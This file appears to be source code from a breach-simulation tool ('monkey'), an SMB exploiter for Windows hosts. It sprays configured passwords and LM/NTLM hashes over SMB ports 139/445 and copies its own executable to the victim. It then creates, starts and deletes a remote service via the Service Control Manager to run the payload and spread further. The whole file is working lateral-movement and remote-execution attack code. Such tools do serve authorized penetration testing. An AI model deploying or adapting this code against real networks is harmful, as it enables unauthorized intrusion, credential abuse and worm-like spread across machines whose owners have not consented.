from logging import getLogger

from impacket.dcerpc.v5 import transport, scmr
from impacket.smbconnection import SMB_DIALECT

from exploit import HostExploiter
from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
from network import SMBFinger
from network.tools import check_tcp_port
from tools import build_monkey_commandline

LOG = getLogger(__name__)


class SmbExploiter(HostExploiter):
    _TARGET_OS_TYPE = ['windows']
    KNOWN_PROTOCOLS = {
        '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
        '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
    }
    USE_KERBEROS = False

    def __init__(self, host):
        super(SmbExploiter, self).__init__(host)
        self._config = __import__('config').WormConfiguration
        self._guid = __import__('config').GUID

    def is_os_supported(self):
        if super(SmbExploiter, self).is_os_supported():
            return True

        if not self.host.os.get('type'):
            is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445)
            if is_smb_open:
                smb_finger = SMBFinger()
                smb_finger.get_host_fingerprint(self.host)
            else:
                is_nb_open, _ = check_tcp_port(self.host.ip_addr, 139)
                if is_nb_open:
                    self.host.os['type'] = 'windows'
            return self.host.os.get('type') in self._TARGET_OS_TYPE
        return False

    def exploit_host(self):
        src_path = get_target_monkey(self.host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r", self.host)
            return False

        creds = self._config.get_exploit_user_password_or_hash_product()

        exploited = False
        for user, password, lm_hash, ntlm_hash in creds:
            try:
                # copy the file remotely using SMB
                remote_full_path = SmbTools.copy_file(self.host,
                                                      src_path,
                                                      self._config.dropper_target_path,
                                                      user,
                                                      password,
                                                      lm_hash,
                                                      ntlm_hash,
                                                      self._config.smb_download_timeout)

                if remote_full_path is not None:
                    LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
                              self.host, user, password, lm_hash, ntlm_hash)
                    self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
                    exploited = True
                    break
                else:
                    # failed exploiting with this user/pass
                    self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)

            except Exception as exc:
                LOG.debug("Exception when trying to copy file using SMB to %r with user:"
                          " %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", self.host,
                          user, password, lm_hash, ntlm_hash, exc)
                continue

        if not exploited:
            LOG.debug("Exploiter SmbExec is giving up...")
            return False

        # execute the remote dropper in case the path isn't final
        if remote_full_path.lower() != self._config.dropper_target_path.lower():
            cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
                      build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
        else:
            cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
                      build_monkey_commandline(self.host, get_monkey_depth() - 1)

        for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
            rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
            rpctransport.set_dport(port)

            if hasattr(rpctransport, 'preferred_dialect'):
                rpctransport.preferred_dialect(SMB_DIALECT)
            if hasattr(rpctransport, 'set_credentials'):
                # This method exists only for selected protocol sequences.
                rpctransport.set_credentials(user, password, '',
                                             lm_hash, ntlm_hash, None)
            rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)

            scmr_rpc = rpctransport.get_dce_rpc()

            try:
                scmr_rpc.connect()
            except Exception as exc:
                LOG.warn("Error connecting to SCM on exploited machine %r: %s",
                         self.host, exc)
                return False

            smb_conn = rpctransport.get_smb_connection()
            break

        # We don't wanna deal with timeouts from now on.
        smb_conn.setTimeout(100000)
        scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(scmr_rpc)
        sc_handle = resp['lpScHandle']

        # start the monkey using the SCM
        resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name,
                                     lpBinaryPathName=cmdline)
        service = resp['lpServiceHandle']

        try:
            scmr.hRStartServiceW(scmr_rpc, service)
        except:
            pass
        scmr.hRDeleteService(scmr_rpc, service)
        scmr.hRCloseServiceHandle(scmr_rpc, service)

        LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
                 remote_full_path, self.host, cmdline)

        return True